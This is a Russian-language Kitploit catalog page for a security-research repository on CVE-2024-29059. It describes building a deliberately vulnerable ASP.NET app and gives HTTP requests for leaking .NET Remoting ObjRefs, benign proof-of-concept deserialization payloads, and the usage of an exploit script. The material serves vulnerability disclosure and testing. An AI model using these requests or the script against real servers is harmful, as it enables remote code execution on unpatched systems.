Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
HttpRemotingObjRefLeak — Дополнительные ресурсы для утечки и эксплуатации ObjRefs через HTTP .NET Remoting (CVE-2024-29059) | Kitploit
Инструменты/GitHubGitHub/codewhitesec/httpremotingobjrefleak
Анализ уязвимостейАнализ КодаЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingРазработка Полезной Нагрузки
GitHubcodewhitesec/httpremotingobjrefleak

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

HttpRemotingObjRefLeak

Дополнительные ресурсы для утечки и эксплуатации ObjRefs через HTTP .NET Remoting (CVE-2024-29059)

РепозиторийСайт
92142 лет назадПроверено Kitploit

Утечка и эксплуатация ObjRef через HTTP .NET Remoting (CVE-2024-29059)

Этот репозиторий содержит дополнительные подробности и ресурсы к блог-посту CODE WHITE с таким же названием Leaking ObjRefs to Exploit HTTP .NET Remoting:

  1. Создание уязвимого ASP.NET веб-приложения
  2. Обнаружение утечек ObjRef
  3. Примеры полезных нагрузок для десериализации, работающих при ограничениях TypeFilterLevel.Low
  4. Эксплойт-скрипт для доставки полезных нагрузок

1. Создание уязвимого ASP.NET веб-приложения

Далее основано на Configure Application Insights for your ASP.NET website от Microsoft и описывает, как создать уязвимое ASP.NET веб-приложение с помощью Visual Studio 2019 (требуется для нацеливания на .NET Framework 4.5.2, его всё ещё можно загрузить по адресу https://aka.ms/vs/16/release/vs_community.exe) и Microsoft Application Insights:

  1. Откройте Visual Studio 2019.
  2. Выберите Файл > Создать > Проект.
  3. Выберите Веб-приложение ASP.NET (.NET Framework) C#, затем Далее.
  4. Выберите .NET Framework 4.5.2, затем Создать.
  5. Выберите Пустой, затем Создать.
  6. Выберите Проект > Добавить телеметрию Application Insights.
  7. Выберите Пакет SDK Application Insights (локальный), затем Далее.
  8. Отметьте Пакеты NuGet, затем нажмите Готово.

Если установлены обновления .NET Framework за январь 2024 года, откройте файл Web.config и добавьте следующее в раздел /configuration/appSettings, чтобы снова включить уязвимое поведение:

root@kitploit:~
<add key="microsoft:Remoting:LateHttpHeaderParsing" value="true" />

Затем вы можете запустить веб-приложение через Отладка > Запуск без отладки или нажатием Ctrl+F5.

2. Обнаружение утечек ObjRef

Вы можете использовать следующие запросы для утечки ObjRef экземпляров MarshalByRefObject, хранящихся в LogicalCallContext:

  • BinaryServerFormatterSink:

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: application/octet-stream
    
  • SoapServerFormatterSink:

    root@kitploit:~
    GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.0
    __RequestVerb: POST
    Content-Type: text/xml
    

Утекшие URI ObjRef затем можно сопоставить с помощью следующего регулярного выражения:

root@kitploit:~
/[0-9a-f_]+/[0-9A-Za-z_+]+_\d+\.rem

3. Примеры полезных нагрузок для десериализации

Мы создали две простые полезные нагрузки для десериализации на основе гаджета TextFormattingRunProperties из YSoSerial.Net с пользовательскими полезными нагрузками XAML, которые работают при ограничениях, вызванных TypeFilterLevel.Low, для выполнения следующего:

  • HttpContext.Current.Response.AddHeader("Set-Cookie", "x=ad92afb4-00c3-4479-bab8-2425b5716081")
  • HttpContext.Current.Response.RedirectLocation = "/ad92afb4-00c3-4479-bab8-2425b5716081"

Заголовки HTTP можно наблюдать в ответе сервера на запрос HTTP .NET Remoting.

4. Эксплойт-скрипт

Скрипт RemoteApplicationMetadata.py предоставляет способ утечки существующего ObjRef, а затем его использования в последующем запросе для доставки заданной полезной нагрузки:

root@kitploit:~
usage: RemoteApplicationMetadata.py [-h] [-c] [--chunk-range CHUNK_RANGE] [-e] [-f {binary,soap}] [-u] [-v] url [file]

positional arguments:
  url                   target URL (without `RemoteApplicationMetadata.rem`)
  file                  BinaryFormatter/SoapFormatter payload file (default: stdin)

options:
  -h, --help            show this help message and exit
  -c, --chunked         use chunked Transfer-Encoding for request
  --chunk-range CHUNK_RANGE
                        range to pick the chunk size from randomly, e. g., 1-10
  -e, --encoding        apply a random non ASCII-based encoding on SOAP
  -f {binary,soap}, --format {binary,soap}
                        targeted runtime serializer format (default: soap)
  -u, --use-generic-uri
                        use the generic `RemoteApplicationMetadata.rem` also for the payload delivery request
  -v, --verbose         print verbose info

Пример:

root@kitploit:~
./RemoteApplicationMetadata.py -f binary https://127.0.0.1:44365 AddHeader.bin -u -v
Скачать инструмент